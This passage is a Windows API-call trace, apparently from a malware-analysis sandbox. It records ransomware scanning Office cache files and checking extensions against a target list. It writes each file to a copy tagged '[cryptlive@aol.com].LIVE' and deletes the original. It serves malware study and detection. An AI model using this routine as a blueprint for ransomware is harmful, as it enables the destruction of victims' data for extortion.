(lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0038.921] lstrlenW (lpString=".dbf") returned 4 [0038.921] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0038.922] lstrlenW (lpString=".1cd") returned 4 [0038.922] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0038.922] lstrlenW (lpString=".jpg") returned 4 [0038.922] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.922] lstrcmpiW (lpString1=".chm", lpString2=".LIVE") returned -1 [0038.922] lstrlenW (lpString="pss10r.chm") returned 10 [0038.922] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0038.923] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=27195) returned 1 [0038.923] CloseHandle (hObject=0x1a0) returned 1 [0038.923] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020 [0038.923] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0038.923] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0038.923] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0038.923] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0038.923] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0038.923] GetLastError () returned 0x0 [0038.923] ReadFile (in: hFile=0x1a0, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0038.926] WriteFile (in: hFile=0x19c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0038.927] ReadFile (in: hFile=0x1a0, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0038.927] WriteFile (in: hFile=0x19c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0038.927] SetEndOfFile (hFile=0x19c) returned 1 [0038.927] CloseHandle (hObject=0x19c) returned 1 [0038.929] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0038.929] SetEndOfFile (hFile=0x1a0) returned 1 [0038.930] CloseHandle (hObject=0x1a0) returned 1 [0038.930] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0038.930] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 1 [0038.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0038.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0038.930] lstrlenW (lpString=".doc") returned 4 [0038.930] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0038.930] lstrlenW (lpString=".docx") returned 5 [0038.930] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0038.930] lstrlenW (lpString=".pdf") returned 4 [0038.930] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0038.930] lstrlenW (lpString=".xls") returned 4 [0038.930] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0038.931] lstrlenW (lpString=".xlsx") returned 5 [0038.931] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0038.931] lstrlenW (lpString=".ppt") returned 4 [0038.931] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0038.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0038.931] lstrlenW (lpString=".zip") returned 4 [0038.931] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0038.931] lstrlenW (lpString=".rar") returned 4 [0038.931] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0038.931] lstrlenW (lpString=".bz2") returned 4 [0038.931] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0038.931] lstrlenW (lpString=".7z") returned 3 [0038.931] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0038.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0038.931] lstrlenW (lpString=".dbf") returned 4 [0038.931] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0038.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0038.931] lstrlenW (lpString=".1cd") returned 4 [0038.931] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0038.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0038.931] lstrlenW (lpString=".jpg") returned 4 [0038.931] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0038.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0038.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0038.931] lstrlenW (lpString=".doc") returned 4 [0038.931] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0038.931] lstrlenW (lpString=".docx") returned 5 [0038.931] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0038.931] lstrlenW (lpString=".pdf") returned 4 [0038.931] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0038.931] lstrlenW (lpString=".xls") returned 4 [0038.931] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0038.931] lstrlenW (lpString=".xlsx") returned 5 [0038.932] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0038.932] lstrlenW (lpString=".ppt") returned 4 [0038.932] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0038.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0038.932] lstrlenW (lpString=".zip") returned 4 [0038.932] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0038.932] lstrlenW (lpString=".rar") returned 4 [0038.932] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0038.932] lstrlenW (lpString=".bz2") returned 4 [0038.932] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0038.932] lstrlenW (lpString=".7z") returned 3 [0038.932] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0038.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0038.932] lstrlenW (lpString=".dbf") returned 4 [0038.932] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0038.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0038.932] lstrlenW (lpString=".1cd") returned 4 [0038.932] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0038.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0038.932] lstrlenW (lpString=".jpg") returned 4 [0038.932] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0038.932] lstrcmpiW (lpString1=".chm", lpString2=".LIVE") returned -1 [0038.932] lstrlenW (lpString="setup.chm") returned 9 [0038.932] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0038.933] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=67190) returned 1 [0038.933] CloseHandle (hObject=0x1a0) returned 1 [0038.933] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020 [0038.933] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0038.933] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0038.933] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0038.933] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0038.933] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0038.933] GetLastError () returned 0x0 [0038.933] ReadFile (in: hFile=0x1a0, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x10676, lpOverlapped=0x0) returned 1 [0039.265] WriteFile (in: hFile=0x19c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x10680, lpOverlapped=0x0) returned 1 [0039.269] ReadFile (in: hFile=0x1a0, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0039.269] WriteFile (in: hFile=0x19c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0039.269] SetEndOfFile (hFile=0x19c) returned 1 [0039.269] CloseHandle (hObject=0x19c) returned 1 [0039.270] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.271] SetEndOfFile (hFile=0x1a0) returned 1 [0039.272] CloseHandle (hObject=0x1a0) returned 1 [0039.272] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0039.360] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 1 [0039.361] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0039.361] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0039.361] lstrlenW (lpString=".doc") returned 4 [0039.361] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0039.361] lstrlenW (lpString=".docx") returned 5 [0039.361] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0039.361] lstrlenW (lpString=".pdf") returned 4 [0039.361] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0039.361] lstrlenW (lpString=".xls") returned 4 [0039.362] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0039.362] lstrlenW (lpString=".xlsx") returned 5 [0039.362] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0039.362] lstrlenW (lpString=".ppt") returned 4 [0039.362] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0039.362] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0039.362] lstrlenW (lpString=".zip") returned 4 [0039.362] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0039.362] lstrlenW (lpString=".rar") returned 4 [0039.362] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0039.362] lstrlenW (lpString=".bz2") returned 4 [0039.362] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0039.362] lstrlenW (lpString=".7z") returned 3 [0039.362] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0039.362] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0039.362] lstrlenW (lpString=".dbf") returned 4 [0039.362] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0039.362] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0039.362] lstrlenW (lpString=".1cd") returned 4 [0039.362] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0039.362] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0039.362] lstrlenW (lpString=".jpg") returned 4 [0039.362] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0039.362] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0039.362] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0039.362] lstrlenW (lpString=".doc") returned 4 [0039.362] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0039.363] lstrlenW (lpString=".docx") returned 5 [0039.363] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0039.363] lstrlenW (lpString=".pdf") returned 4 [0039.363] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0039.363] lstrlenW (lpString=".xls") returned 4 [0039.363] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0039.363] lstrlenW (lpString=".xlsx") returned 5 [0039.363] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0039.363] lstrlenW (lpString=".ppt") returned 4 [0039.363] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0039.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0039.363] lstrlenW (lpString=".zip") returned 4 [0039.363] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0039.363] lstrlenW (lpString=".rar") returned 4 [0039.363] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0039.363] lstrlenW (lpString=".bz2") returned 4 [0039.363] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0039.363] lstrlenW (lpString=".7z") returned 3 [0039.363] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0039.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0039.363] lstrlenW (lpString=".dbf") returned 4 [0039.363] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0039.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0039.363] lstrlenW (lpString=".1cd") returned 4 [0039.363] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0039.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0039.363] lstrlenW (lpString=".jpg") returned 4 [0039.363] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0039.364] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0039.364] lstrlenW (lpString="Office32WW.xml") returned 14 [0039.364] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0039.604] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4274) returned 1 [0039.604] CloseHandle (hObject=0x1b4) returned 1 [0039.604] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0039.604] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0039.604] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0039.604] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.605] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.605] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0039.607] GetLastError () returned 0x0 [0039.607] ReadFile (in: hFile=0x1b4, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x10b2, lpOverlapped=0x0) returned 1 [0039.609] WriteFile (in: hFile=0x1b8, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0039.610] ReadFile (in: hFile=0x1b4, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0039.610] WriteFile (in: hFile=0x1b8, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0039.610] SetEndOfFile (hFile=0x1b8) returned 1 [0039.610] CloseHandle (hObject=0x1b8) returned 1 [0039.611] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.611] SetEndOfFile (hFile=0x1b4) returned 1 [0039.612] CloseHandle (hObject=0x1b4) returned 1 [0039.612] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0039.612] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0039.613] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0039.613] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0039.613] lstrlenW (lpString=".doc") returned 4 [0039.613] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.613] lstrlenW (lpString=".docx") returned 5 [0039.613] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0039.613] lstrlenW (lpString=".pdf") returned 4 [0039.613] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.613] lstrlenW (lpString=".xls") returned 4 [0039.613] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.613] lstrlenW (lpString=".xlsx") returned 5 [0039.613] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0039.613] lstrlenW (lpString=".ppt") returned 4 [0039.613] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.613] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0039.613] lstrlenW (lpString=".zip") returned 4 [0039.613] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.613] lstrlenW (lpString=".rar") returned 4 [0039.613] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.613] lstrlenW (lpString=".bz2") returned 4 [0039.613] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.613] lstrlenW (lpString=".7z") returned 3 [0039.613] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.613] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0039.613] lstrlenW (lpString=".dbf") returned 4 [0039.613] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.613] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0039.613] lstrlenW (lpString=".1cd") returned 4 [0039.613] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.613] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0039.613] lstrlenW (lpString=".jpg") returned 4 [0039.613] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0039.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0039.614] lstrlenW (lpString=".doc") returned 4 [0039.614] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.614] lstrlenW (lpString=".docx") returned 5 [0039.614] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0039.614] lstrlenW (lpString=".pdf") returned 4 [0039.614] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.614] lstrlenW (lpString=".xls") returned 4 [0039.614] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.614] lstrlenW (lpString=".xlsx") returned 5 [0039.614] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0039.614] lstrlenW (lpString=".ppt") returned 4 [0039.614] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0039.614] lstrlenW (lpString=".zip") returned 4 [0039.614] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.614] lstrlenW (lpString=".rar") returned 4 [0039.614] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.614] 